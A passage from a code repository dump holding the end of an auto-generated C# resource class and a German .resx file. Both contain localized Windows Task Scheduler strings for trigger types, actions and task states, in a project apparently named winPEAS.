typeof(Resources).Assembly);\n                    resourceMan = temp;\n                }\n                return resourceMan;\n            }\n        }\n        \n        /// <summary>\n        ///   Overrides the current thread's CurrentUICulture property for all\n        ///   resource lookups using this strongly typed resource class.\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Globalization.CultureInfo Culture {\n            get {\n                return resourceCulture;\n            }\n            set {\n                resourceCulture = value;\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Call a COM object.\n        /// </summary>\n        internal static string ActionTypeComHandler {\n            get {\n                return ResourceManager.GetString(\"ActionTypeComHandler\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Start a program.\n        /// </summary>\n        internal static string ActionTypeExecute {\n            get {\n                return ResourceManager.GetString(\"ActionTypeExecute\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Send an e-mail.\n        /// </summary>\n        internal static string ActionTypeSendEmail {\n            get {\n                return ResourceManager.GetString(\"ActionTypeSendEmail\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Display a message.\n        /// </summary>\n        internal static string ActionTypeShowMessage {\n            get {\n                return ResourceManager.GetString(\"ActionTypeShowMessage\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to {3} {0:P}.\n        /// </summary>\n        internal static string ComHandlerAction {\n            get {\n                return ResourceManager.GetString(\"ComHandlerAction\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to every day.\n        /// </summary>\n        internal static string DOWAllDays {\n            get {\n                return ResourceManager.GetString(\"DOWAllDays\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to {1} {0}.\n        /// </summary>\n        internal static string EmailAction {\n            get {\n                return ResourceManager.GetString(\"EmailAction\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to ..\n        /// </summary>\n        internal static string EndSentence {\n            get {\n                return ResourceManager.GetString(\"EndSentence\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated..\n        /// </summary>\n        internal static string Error_TriggerEndBeforeStart {\n            get {\n                return ResourceManager.GetString(\"Error_TriggerEndBeforeStart\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to {0} {1}.\n        /// </summary>\n        internal static string ExecAction {\n            get {\n                return ResourceManager.GetString(\"ExecAction\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to -.\n        /// </summary>\n        internal static string HyphenSeparator {\n            get {\n                return ResourceManager.GetString(\"HyphenSeparator\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to ,.\n        /// </summary>\n        internal static string ListSeparator {\n            get {\n                return ResourceManager.GetString(\"ListSeparator\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to every month.\n        /// </summary>\n        internal static string MOYAllMonths {\n            get {\n                return ResourceManager.GetString(\"MOYAllMonths\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Multiple actions defined.\n        /// </summary>\n        internal static string MultipleActions {\n            get {\n                return ResourceManager.GetString(\"MultipleActions\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Multiple triggers defined.\n        /// </summary>\n        internal static string MultipleTriggers {\n            get {\n                return ResourceManager.GetString(\"MultipleTriggers\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to {0}.\n        /// </summary>\n        internal static string ShowMessageAction {\n            get {\n                return ResourceManager.GetString(\"ShowMessageAction\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Author.\n        /// </summary>\n        internal static string TaskDefaultPrincipal {\n            get {\n                return ResourceManager.GetString(\"TaskDefaultPrincipal\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Disabled.\n        /// </summary>\n        internal static string TaskStateDisabled {\n            get {\n                return ResourceManager.GetString(\"TaskStateDisabled\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Queued.\n        /// </summary>\n        internal static string TaskStateQueued {\n            get {\n                return ResourceManager.GetString(\"TaskStateQueued\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Ready.\n        /// </summary>\n        internal static string TaskStateReady {\n            get {\n                return ResourceManager.GetString(\"TaskStateReady\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Running.\n        /// </summary>\n        internal static string TaskStateRunning {\n            get {\n                return ResourceManager.GetString(\"TaskStateRunning\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Unknown.\n        /// </summary>\n        internal static string TaskStateUnknown {\n            get {\n                return ResourceManager.GetString(\"TaskStateUnknown\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to any user.\n        /// </summary>\n        internal static string TriggerAnyUser {\n            get {\n                return ResourceManager.GetString(\"TriggerAnyUser\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At system startup.\n        /// </summary>\n        internal static string TriggerBoot1 {\n            get {\n                return ResourceManager.GetString(\"TriggerBoot1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Custom Trigger.\n        /// </summary>\n        internal static string TriggerCustom1 {\n            get {\n                return ResourceManager.GetString(\"TriggerCustom1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At {0:t} every day.\n        /// </summary>\n        internal static string TriggerDaily1 {\n            get {\n                return ResourceManager.GetString(\"TriggerDaily1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At {0:t} every {1} days.\n        /// </summary>\n        internal static string TriggerDaily2 {\n            get {\n                return ResourceManager.GetString(\"TriggerDaily2\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to indefinitely.\n        /// </summary>\n        internal static string TriggerDuration0 {\n            get {\n                return ResourceManager.GetString(\"TriggerDuration0\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to for a duration of {0}.\n        /// </summary>\n        internal static string TriggerDurationNot0 {\n            get {\n                return ResourceManager.GetString(\"TriggerDurationNot0\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to for {0}.\n        /// </summary>\n        internal static string TriggerDurationNot0Short {\n            get {\n                return ResourceManager.GetString(\"TriggerDurationNot0Short\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Trigger expires at {0:G}..\n        /// </summary>\n        internal static string TriggerEndBoundary {\n            get {\n                return ResourceManager.GetString(\"TriggerEndBoundary\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Custom event filter.\n        /// </summary>\n        internal static string TriggerEvent1 {\n            get {\n                return ResourceManager.GetString(\"TriggerEvent1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On event - Log: {0}.\n        /// </summary>\n        internal static string TriggerEventBasic1 {\n            get {\n                return ResourceManager.GetString(\"TriggerEventBasic1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to , Source: {0}.\n        /// </summary>\n        internal static string TriggerEventBasic2 {\n            get {\n                return ResourceManager.GetString(\"TriggerEventBasic2\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to , EventID: {0}.\n        /// </summary>\n        internal static string TriggerEventBasic3 {\n            get {\n                return ResourceManager.GetString(\"TriggerEventBasic3\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to When computer is idle.\n        /// </summary>\n        internal static string TriggerIdle1 {\n            get {\n                return ResourceManager.GetString(\"TriggerIdle1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At log on of {0}.\n        /// </summary>\n        internal static string TriggerLogon1 {\n            get {\n                return ResourceManager.GetString(\"TriggerLogon1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}.\n        /// </summary>\n        internal static string TriggerMonthly1 {\n            get {\n                return ResourceManager.GetString(\"TriggerMonthly1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}.\n        /// </summary>\n        internal static string TriggerMonthlyDOW1 {\n            get {\n                return ResourceManager.GetString(\"TriggerMonthlyDOW1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to When the task is created or modified.\n        /// </summary>\n        internal static string TriggerRegistration1 {\n            get {\n                return ResourceManager.GetString(\"TriggerRegistration1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to After triggered, repeat every {0} {1}..\n        /// </summary>\n        internal static string TriggerRepetition {\n            get {\n                return ResourceManager.GetString(\"TriggerRepetition\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Every {0} {1}..\n        /// </summary>\n        internal static string TriggerRepetitionShort {\n            get {\n                return ResourceManager.GetString(\"TriggerRepetitionShort\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On local connection to {0}..\n        /// </summary>\n        internal static string TriggerSessionConsoleConnect {\n            get {\n                return ResourceManager.GetString(\"TriggerSessionConsoleConnect\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On local disconnect from {0}..\n        /// </summary>\n        internal static string TriggerSessionConsoleDisconnect {\n            get {\n                return ResourceManager.GetString(\"TriggerSessionConsoleDisconnect\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On remote connection to {0}..\n        /// </summary>\n        internal static string TriggerSessionRemoteConnect {\n            get {\n                return ResourceManager.GetString(\"TriggerSessionRemoteConnect\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On remote disconnect from {0}..\n        /// </summary>\n        internal static string TriggerSessionRemoteDisconnect {\n            get {\n                return ResourceManager.GetString(\"TriggerSessionRemoteDisconnect\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On workstation lock of {0}..\n        /// </summary>\n        internal static string TriggerSessionSessionLock {\n            get {\n                return ResourceManager.GetString(\"TriggerSessionSessionLock\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On workstation unlock of {0}..\n        /// </summary>\n        internal static string TriggerSessionSessionUnlock {\n            get {\n                return ResourceManager.GetString(\"TriggerSessionSessionUnlock\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to user session of {0}.\n        /// </summary>\n        internal static string TriggerSessionUserSession {\n            get {\n                return ResourceManager.GetString(\"TriggerSessionUserSession\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At {0:t} on {0:d}.\n        /// </summary>\n        internal static string TriggerTime1 {\n            get {\n                return ResourceManager.GetString(\"TriggerTime1\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At startup.\n        /// </summary>\n        internal static string TriggerTypeBoot {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeBoot\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Custom Trigger.\n        /// </summary>\n        internal static string TriggerTypeCustom {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeCustom\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Daily.\n        /// </summary>\n        internal static string TriggerTypeDaily {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeDaily\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On an event.\n        /// </summary>\n        internal static string TriggerTypeEvent {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeEvent\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On idle.\n        /// </summary>\n        internal static string TriggerTypeIdle {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeIdle\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At log on.\n        /// </summary>\n        internal static string TriggerTypeLogon {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeLogon\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Monthly.\n        /// </summary>\n        internal static string TriggerTypeMonthly {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeMonthly\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Monthly.\n        /// </summary>\n        internal static string TriggerTypeMonthlyDOW {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeMonthlyDOW\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At task creation/modification.\n        /// </summary>\n        internal static string TriggerTypeRegistration {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeRegistration\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to On state change.\n        /// </summary>\n        internal static string TriggerTypeSessionStateChange {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeSessionStateChange\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to One time.\n        /// </summary>\n        internal static string TriggerTypeTime {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeTime\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Weekly.\n        /// </summary>\n        internal static string TriggerTypeWeekly {\n            get {\n                return ResourceManager.GetString(\"TriggerTypeWeekly\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}.\n        /// </summary>\n        internal static string TriggerWeekly1Week {\n            get {\n                return ResourceManager.GetString(\"TriggerWeekly1Week\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}.\n        /// </summary>\n        internal static string TriggerWeeklyMultWeeks {\n            get {\n                return ResourceManager.GetString(\"TriggerWeeklyMultWeeks\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to every.\n        /// </summary>\n        internal static string WWAllWeeks {\n            get {\n                return ResourceManager.GetString(\"WWAllWeeks\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to fifth.\n        /// </summary>\n        internal static string WWFifthWeek {\n            get {\n                return ResourceManager.GetString(\"WWFifthWeek\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to first.\n        /// </summary>\n        internal static string WWFirstWeek {\n            get {\n                return ResourceManager.GetString(\"WWFirstWeek\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to fourth.\n        /// </summary>\n        internal static string WWFourthWeek {\n            get {\n                return ResourceManager.GetString(\"WWFourthWeek\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to last.\n        /// </summary>\n        internal static string WWLastWeek {\n            get {\n                return ResourceManager.GetString(\"WWLastWeek\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to second.\n        /// </summary>\n        internal static string WWSecondWeek {\n            get {\n                return ResourceManager.GetString(\"WWSecondWeek\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to third.\n        /// </summary>\n        internal static string WWThirdWeek {\n            get {\n                return ResourceManager.GetString(\"WWThirdWeek\", resourceCulture);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/Resources.de.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <data name=\"ActionTypeComHandler\" xml:space=\"preserve\">\n    <value>COM-Objekt aufrufen</value>\n  </data>\n  <data name=\"ActionTypeExecute\" xml:space=\"preserve\">\n    <value>Programm starten</value>\n  </data>\n  <data name=\"ActionTypeSendEmail\" xml:space=\"preserve\">\n    <value>E-Mail senden</value>\n  </data>\n  <data name=\"ActionTypeShowMessage\" xml:space=\"preserve\">\n    <value>Meldung anzeigen</value>\n  </data>\n  <data name=\"ComHandlerAction\" xml:space=\"preserve\">\n    <value>{3} {0:P}</value>\n    <comment>0 = Class GUID; 1 = Data; 2 = Id</comment>\n  </data>\n  <data name=\"DOWAllDays\" xml:space=\"preserve\">\n    <value>jeden Tag</value>\n  </data>\n  <data name=\"EmailAction\" xml:space=\"preserve\">\n    <value>{1} {0}</value>\n    <comment>0 = Subject; 1 = To; 2 = Cc, 3 = Bcc, 4 = From, 5 = ReplyTo, 6 = Body, 7 = Server, 8 = Id</comment>\n  </data>\n  <data name=\"EndSentence\" xml:space=\"preserve\">\n    <value>.</value>\n  </data>\n  <data name=\"ExecAction\" xml:space=\"preserve\">\n    <value>{0} {1}</value>\n    <comment>0 = Executable Path; 1 = Arguments; 2 = WorkingDirectory; 3 = Id</comment>\n  </data>\n  <data name=\"HyphenSeparator\" xml:space=\"preserve\">\n    <value>-</value>\n  </data>\n  <data name=\"ListSeparator\" xml:space=\"preserve\">\n    <value>,</value>\n  </data>\n  <data name=\"MOYAllMonths\" xml:space=\"preserve\">\n    <value>jeden Monat</value>\n  </data>\n  <data name=\"MultipleActions\" xml:space=\"preserve\">\n    <value>Mehrere Aktionen definiert</value>\n  </data>\n  <data name=\"MultipleTriggers\" xml:space=\"preserve\">\n    <value>Mehrere Trigger definiert</value>\n  </data>\n  <data name=\"ShowMessageAction\" xml:space=\"preserve\">\n    <value>{0}</value>\n    <comment>0 = Title; 1 = MessageBody; 2 = Id</comment>\n  </data>\n  <data name=\"TaskDefaultPrincipal\" xml:space=\"preserve\">\n    <value>Autor</value>\n  </data>\n  <data name=\"TaskStateDisabled\" xml:space=\"preserve\">\n    <value>Deaktiviert</value>\n  </data>\n  <data name=\"TaskStateQueued\" xml:space=\"preserve\">\n    <value>Eingereiht</value>\n  </data>\n  <data name=\"TaskStateReady\" xml:space=\"preserve\">\n    <value>Bereit</value>\n  </data>\n  <data name=\"TaskStateRunning\" xml:space=\"preserve\">\n    <value>Wird ausgeführt</value>\n  </data>\n  <data name=\"TaskStateUnknown\" xml:space=\"preserve\">\n    <value>Unbekannt</value>\n  </data>\n  <data name=\"TriggerAnyUser\" xml:space=\"preserve\">\n    <value>eines Benutzers</value>\n  </data>\n  <data name=\"TriggerBoot1\" xml:space=\"preserve\">\n    <value>Beim Systemstart</value>\n  </data>\n  <data name=\"TriggerCustom1\" xml:space=\"preserve\">\n    <value>Benutzerdefinierter Trigger</value>\n  </data>\n  <data name=\"TriggerDaily1\" xml:space=\"preserve\">\n    <value>Um {0:t} jeden Tag</value>\n  </data>\n  <data name=\"TriggerDaily2\" xml:space=\"preserve\">\n    <value>Um {0:t} alle {1} Tage</value>\n  </data>\n  <data name=\"TriggerDuration0\" xml:space=\"preserve\">\n    <value>Sofort</value>\n  </data>\n  <data name=\"TriggerDurationNot0\" xml:space=\"preserve\">\n    <value>für eine Dauer von {0}</value>\n    <comment>0 = Duration</comment>\n  </data>\n  <data name=\"TriggerEndBoundary\" xml:space=\"preserve\">\n    <value>Trigger läuft um {0:G} ab.</value>\n    <comment>0 = EndBoundary</comment>\n  </data>\n  <data name=\"TriggerEvent1\" xml:space=\"preserve\">\n    <value>Benutzerdefinierter Ereignisfilter</value>\n  </data>\n  <data name=\"TriggerEventBasic1\" xml:space=\"preserve\">\n    <value>Bei Ereignis - Protokoll: {0}</value>\n    <comment>0 = Log name</comment>\n  </data>\n  <data name=\"TriggerEventBasic2\" xml:space=\"preserve\">\n    <value>, Quelle: {0}</value>\n    <comment>0 = Source name (appended after log)</comment>\n  </data>\n  <data name=\"TriggerEventBasic3\" xml:space=\"preserve\">\n    <value>, EreignisID: {0}</value>\n    <comment>0 = Event ID (appended after log or source)</comment>\n  </data>\n  <data name=\"TriggerIdle1\" xml:space=\"preserve\">\n    <value>Wenn der Computer inaktiv ist</value>\n  </data>\n  <data name=\"TriggerLogon1\" xml:space=\"preserve\">\n    <value>Bei Anmeldung von {0}</value>\n  </data>\n  <data name=\"TriggerMonthly1\" xml:space=\"preserve\">\n    <value>Um {0:t} am {1} {2}, beginnend mit dem {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of Days; 2 = list of Months</comment>\n  </data>\n  <data name=\"TriggerMonthlyDOW1\" xml:space=\"preserve\">\n    <value>Um {0:t} am {1} {2:f} jeden {3}, beginnend mit dem {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of weeks of Month; 2 = list of Week Days; 3 = list of Months</comment>\n  </data>\n  <data name=\"TriggerRegistration1\" xml:space=\"preserve\">\n    <value>Bei Aufgabenerstellung oder -modifizierung</value>\n  </data>\n  <data name=\"TriggerRepetition\" xml:space=\"preserve\">\n    <value>Nach Auslösung, alle {0} {1} wiederholen</value>\n    <comment>0 = Interval; 1= Duration string</comment>\n  </data>\n  <data name=\"TriggerSessionConsoleConnect\" xml:space=\"preserve\">\n    <value>Bei lokaler Verbingung mit {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionConsoleDisconnect\" xml:space=\"preserve\">\n    <value>Bei lokaler Trennung von {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionRemoteConnect\" xml:space=\"preserve\">\n    <value>Bei Remotverbindung mit {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionRemoteDisconnect\" xml:space=\"preserve\">\n    <value>Bei Remottrennung der {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionSessionLock\" xml:space=\"preserve\">\n    <value>Beim Sperren der Arbeiststation von {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionSessionUnlock\" xml:space=\"preserve\">\n    <value>Beim Entsperren der Arbeiststation von {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionUserSession\" xml:space=\"preserve\">\n    <value>Benutzersitzung von {0}</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerTime1\" xml:space=\"preserve\">\n    <value>Um {0:t} am {0:d}</value>\n    <comment>0 = StartBoundary</comment>\n  </data>\n  <data name=\"TriggerTypeBoot\" xml:space=\"preserve\">\n    <value>Beim Start</value>\n  </data>\n  <data name=\"TriggerTypeCustom\" xml:space=\"preserve\">\n    <value>Nach einem Zeitplan</value>\n  </data>\n  <data name=\"TriggerTypeDaily\" xml:space=\"preserve\">\n    <value>Täglich</value>\n  </data>\n  <data name=\"TriggerTypeEvent\" xml:space=\"preserve\">\n    <value>Bei einem Ereignis</value>\n  </data>\n  <data name=\"TriggerTypeIdle\" xml:space=\"preserve\">\n    <value>Im Leerlauf</value>\n  </data>\n  <data name=\"TriggerTypeLogon\" xml:space=\"preserve\">\n    <value>Bei Anmeldung</value>\n  </data>\n  <data name=\"TriggerTypeMonthly\" xml:space=\"preserve\">\n    <value>Monatlich</value>\n  </data>\n  <data name=\"TriggerTypeMonthlyDOW\" xml:space=\"preserve\">\n    <value>Monatlich</value>\n  </data>\n  <data name=\"TriggerTypeRegistration\" xml:space=\"preserve\">\n    <value>Bei Aufgabenerstellung/-änderung</value>\n  </data>\n  <data name=\"TriggerTypeSessionStateChange\" xml:space=\"preserve\">\n    <value>Bei Zustandänderung</value>\n  </data>\n  <data name=\"TriggerTypeTime\" xml:space=\"preserve\">\n    <value>Einmal</value>\n  </data>\n  <data name=\"TriggerTypeWeekly\" xml:space=\"preserve\">\n    <value>Wöchentlich</value>\n  </data>\n  <data name=\"TriggerWeekly1Week\" xml:space=\"preserve\">\n    <value>Um {0:t} jeden {1}, beginnend mit dem {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of Week Days</comment>\n  </data>\n  <data name=\"TriggerWeeklyMultWeeks\" xml:space=\"preserve\">\n    <value>Um {0:t} jeden {1} alle {2} Wochen, beginnend mit dem {0:d}</value>\n    <comment>0 = StartBoundary; 1 